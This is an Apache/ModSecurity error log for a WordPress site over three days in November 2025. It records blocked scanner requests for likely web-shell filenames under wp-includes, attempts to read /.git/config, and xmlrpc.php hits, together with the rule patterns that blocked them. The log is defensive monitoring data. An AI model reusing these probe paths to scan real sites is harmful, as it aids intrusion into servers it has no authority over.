[Sat Nov 15 06:18:04.582329 2025] [:error] [pid 27909:tid 27930] [client 193.37.32.2:59711] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aReqnCTfZ6B57n8HepWYRwAAABE"]
[Sat Nov 15 06:18:04.886792 2025] [:error] [pid 27911:tid 27974] [client 85.203.21.210:37045] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aReqnMGzUdrhGBIfiKTMeQAAAIY"]
[Sat Nov 15 06:18:05.120167 2025] [:error] [pid 27910:tid 27945] [client 85.203.21.238:42221] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/commands/about.php"] [unique_id "aReqnY6e1LusHMYkS7ZfVwAAAEQ"]
[Sat Nov 15 06:18:05.405624 2025] [:error] [pid 27910:tid 27957] [client 85.203.21.184:57617] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-site/about.php"] [unique_id "aReqnY6e1LusHMYkS7ZfWQAAAFA"]
[Sat Nov 15 06:18:05.623206 2025] [:error] [pid 27909:tid 27917] [client 85.203.21.195:61575] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/index.php"] [unique_id "aReqnSTfZ6B57n8HepWYSQAAAAQ"]
[Sat Nov 15 06:18:06.001363 2025] [:error] [pid 27997:tid 28011] [client 85.203.21.192:29751] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/list-reusable-blocks/index.php"] [unique_id "aReqntpja_6cDxKbxFknowAAAMw"]
[Sat Nov 15 06:18:06.189053 2025] [:error] [pid 27997:tid 28004] [client 85.203.21.213:33445] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/wp-conflg.php"] [unique_id "aReqntpja_6cDxKbxFknpAAAAMU"]
[Sat Nov 15 06:18:06.400914 2025] [:error] [pid 37318:tid 37374] [client 85.203.21.217:30221] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/autoload_classmap.php"] [unique_id "aReqnugM1rHoEAqoQDc4rgAAAQw"]
[Sat Nov 15 06:18:06.695595 2025] [:error] [pid 37318:tid 37366] [client 85.203.21.188:50761] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aReqnugM1rHoEAqoQDc4rwAAAQQ"]
[Sat Nov 15 06:18:06.905998 2025] [:error] [pid 37318:tid 37371] [client 193.37.32.3:34009] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aReqnugM1rHoEAqoQDc4sAAAAQk"]
[Sat Nov 15 06:18:07.227131 2025] [:error] [pid 27909:tid 27934] [client 193.37.32.3:31477] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/option.php"] [unique_id "aReqnyTfZ6B57n8HepWYTQAAABU"]
[Sat Nov 15 06:18:07.407474 2025] [:error] [pid 37318:tid 37364] [client 85.203.21.227:44897] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aReqn-gM1rHoEAqoQDc4swAAAQI"]
[Sat Nov 15 06:18:07.672093 2025] [:error] [pid 37318:tid 37389] [client 85.203.21.222:57633] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/wrvpmsi/about.php"] [unique_id "aReqn-gM1rHoEAqoQDc4tQAAARc"]
[Sat Nov 15 06:18:07.904916 2025] [:error] [pid 27997:tid 28019] [client 85.203.21.178:54485] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aReqn9pja_6cDxKbxFknpwAAANQ"]
[Sat Nov 15 06:18:08.097042 2025] [:error] [pid 27909:tid 27914] [client 85.203.21.52:45523] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aReqoCTfZ6B57n8HepWYTgAAAAE"]
[Sat Nov 15 06:18:08.291287 2025] [:error] [pid 27997:tid 28020] [client 85.203.21.57:41105] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/interactivity-api/autoload_classmap.php"] [unique_id "aReqoNpja_6cDxKbxFknqAAAANU"]
[Sat Nov 15 06:18:08.567299 2025] [:error] [pid 37318:tid 37378] [client 85.203.21.195:27267] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/autoload_classmap.php"] [unique_id "aReqoOgM1rHoEAqoQDc4uAAAARA"]
[Sat Nov 15 06:18:08.792426 2025] [:error] [pid 27911:tid 27990] [client 85.203.21.226:35553] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/about.php"] [unique_id "aReqoMGzUdrhGBIfiKTMgAAAAJY"]
[Sat Nov 15 06:18:08.977289 2025] [:error] [pid 27910:tid 27948] [client 85.203.21.167:45403] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/development/"] [unique_id "aReqoI6e1LusHMYkS7ZfWgAAAEc"]
[Sat Nov 15 06:18:09.192254 2025] [:error] [pid 37318:tid 37367] [client 85.203.21.195:51317] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/query/index.php"] [unique_id "aReqoegM1rHoEAqoQDc4ugAAAQU"]
[Sat Nov 15 06:18:09.402820 2025] [:error] [pid 27997:tid 28015] [client 85.203.21.208:58377] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/imgareaselect/index.php"] [unique_id "aReqodpja_6cDxKbxFknqwAAANA"]
[Sat Nov 15 06:18:09.611507 2025] [:error] [pid 27997:tid 28002] [client 85.203.21.226:56689] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aReqodpja_6cDxKbxFknrgAAAMM"]
[Sat Nov 15 06:18:09.793469 2025] [:error] [pid 37318:tid 37372] [client 85.203.21.188:58075] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/mediaelement/admin.php"] [unique_id "aReqoegM1rHoEAqoQDc4uwAAAQo"]
[Sat Nov 15 06:18:09.992506 2025] [:error] [pid 27997:tid 28023] [client 85.203.21.172:50019] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/mediaelement/renderers/about.php"] [unique_id "aReqodpja_6cDxKbxFknsAAAANg"]
[Sat Nov 15 06:18:10.179360 2025] [:error] [pid 27997:tid 28000] [client 85.203.21.184:25969] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/thickbox/index.php"] [unique_id "aReqotpja_6cDxKbxFknsgAAAME"]
[Sat Nov 15 06:18:10.388915 2025] [:error] [pid 27909:tid 27917] [client 85.203.21.223:27291] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/chosen.php"] [unique_id "aReqoiTfZ6B57n8HepWYVgAAAAQ"]
[Sat Nov 15 06:18:10.590928 2025] [:error] [pid 27997:tid 27999] [client 85.203.21.221:42267] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/link-template-variable.php"] [unique_id "aReqotpja_6cDxKbxFknswAAAMA"]
[Sat Nov 15 06:18:10.802331 2025] [:error] [pid 37318:tid 37377] [client 85.203.21.54:21401] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/php-compat/wp-conflg.php"] [unique_id "aReqougM1rHoEAqoQDc4vAAAAQ8"]
[Sat Nov 15 06:18:11.002692 2025] [:error] [pid 27911:tid 27975] [client 85.203.21.176:64039] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aReqo8GzUdrhGBIfiKTMgwAAAIc"]
[Sat Nov 15 06:18:11.208205 2025] [:error] [pid 27909:tid 27933] [client 193.37.32.2:23187] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aReqoyTfZ6B57n8HepWYWgAAABQ"]
[Sat Nov 15 06:18:11.710370 2025] [:error] [pid 27911:tid 27969] [client 85.203.21.223:43537] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/wp-conflg.php"] [unique_id "aReqo8GzUdrhGBIfiKTMhAAAAIE"]
[Sat Nov 15 06:18:12.570752 2025] [:error] [pid 27910:tid 27962] [client 85.203.21.208:40409] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aReqpI6e1LusHMYkS7ZfXQAAAFU"]
[Sat Nov 15 06:18:12.900401 2025] [:error] [pid 27911:tid 27990] [client 85.203.21.45:42887] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/alfa.php"] [unique_id "aReqpMGzUdrhGBIfiKTMiQAAAJY"]
[Sat Nov 15 06:18:13.085719 2025] [:error] [pid 37318:tid 37388] [client 85.203.21.184:38237] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aReqpegM1rHoEAqoQDc4vwAAARY"]
[Sat Nov 15 06:18:13.474938 2025] [:error] [pid 27997:tid 28002] [client 85.203.21.227:65127] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-login.php"] [unique_id "aReqpdpja_6cDxKbxFknugAAAMM"]
[Sat Nov 15 06:18:14.865503 2025] [:error] [pid 27911:tid 27971] [client 85.203.21.184:33801] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xax.php"] [unique_id "aReqpsGzUdrhGBIfiKTMjQAAAIM"]
[Sat Nov 15 06:18:15.323663 2025] [:error] [pid 37318:tid 37379] [client 85.203.21.192:64411] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xax.php"] [unique_id "aReqp-gM1rHoEAqoQDc4wQAAARE"]
[Sat Nov 15 09:17:27.360025 2025] [:error] [pid 27909:tid 27914] [client 187.188.79.71:64069] [client 187.188.79.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.188.79.71, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRfUpyTfZ6B57n8HepXMIgAAAAE"]
[Sat Nov 15 09:17:27.373490 2025] [proxy_fcgi:error] [pid 27909:tid 27914] [client 187.188.79.71:64069] AH01071: Got error 'Primary script unknown'
[Sat Nov 15 16:25:23.508837 2025] [proxy_fcgi:error] [pid 27909:tid 27937] [client 141.98.10.124:62718] AH01071: Got error 'Primary script unknown'
[Sat Nov 15 16:25:32.905748 2025] [proxy_fcgi:error] [pid 22765:tid 22776] [client 141.98.10.124:65093] AH01071: Got error 'Primary script unknown'
[Sat Nov 15 17:32:04.702919 2025] [:error] [pid 22613:tid 22639] [client 20.2.83.141:57592] [client 20.2.83.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/"] [unique_id "aRhIlCoyR3cDsIRGPRm2OQAAAhg"], referer: binance.com
[Sat Nov 15 20:26:26.129403 2025] [:error] [pid 20654:tid 20674] [client 45.134.79.103:63373] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aRhxcncS7eC8vO76_ycIywAAA5E"]
[Sat Nov 15 20:26:26.792418 2025] [:error] [pid 27997:tid 28012] [client 45.134.79.103:63577] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aRhxctpja_6cDxKbxFnq2gAAAM0"]
[Sat Nov 15 20:26:27.440266 2025] [:error] [pid 19959:tid 19968] [client 45.134.79.103:63851] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aRhxc8jejiTUP1-IawPtugAAAYI"]
[Sun Nov 16 05:33:25.258535 2025] [:error] [pid 52470:tid 52505] [client 157.50.188.162:65368] [client 157.50.188.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.50.188.162, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRjxpUg9mXF2ZFFtj1XLUgAAAEA"]
[Sun Nov 16 05:33:25.270118 2025] [proxy_fcgi:error] [pid 52470:tid 52505] [client 157.50.188.162:65368] AH01071: Got error 'Primary script unknown'
[Sun Nov 16 10:59:59.733180 2025] [:error] [pid 52563:tid 52585] [client 68.183.48.230:38904] [client 68.183.48.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRk-L8-l3ey-hVJ5AutK_QAAANM"]
[Sun Nov 16 11:00:00.595101 2025] [:error] [pid 52563:tid 52580] [client 68.183.48.230:43808] [client 68.183.48.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRk-MM-l3ey-hVJ5AutK_wAAAM4"]
[Sun Nov 16 14:50:20.319319 2025] [:error] [pid 52469:tid 52487] [client 68.183.48.230:37732] [client 68.183.48.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRl0LE6HaXpHeEZ98Z2RcwAAAAo"]
[Sun Nov 16 14:50:21.710344 2025] [:error] [pid 20556:tid 20579] [client 68.183.48.230:59082] [client 68.183.48.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRl0LUkbyEckbWtBcCJPUQAAARU"]
[Sun Nov 16 18:35:38.934041 2025] [:error] [pid 52471:tid 52532] [client 155.94.163.116:62528] [client 155.94.163.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/"] [unique_id "aRmo-tmWsFzjR5CEgDVWpAAAAIA"], referer: binance.com
[Sun Nov 16 19:35:57.441479 2025] [:error] [pid 52469:tid 52495] [client 68.183.48.230:59084] [client 68.183.48.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRm3HU6HaXpHeEZ98Z3w8wAAABI"]
[Sun Nov 16 19:35:59.950277 2025] [:error] [pid 52471:tid 52553] [client 68.183.48.230:35512] [client 68.183.48.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRm3H9mWsFzjR5CEgDVkuQAAAJU"]
[Mon Nov 17 03:14:36.957066 2025] [:error] [pid 55745:tid 55765] [client 68.183.48.230:42516] [client 68.183.48.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRoinIZk0eT801XQsaulhAAAAFI"]
[Mon Nov 17 03:14:39.880775 2025] [:error] [pid 65480:tid 324] [client 68.183.48.230:51726] [client 68.183.48.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRoinw3NjAS-v6ul5QCYrQAAAMQ"]
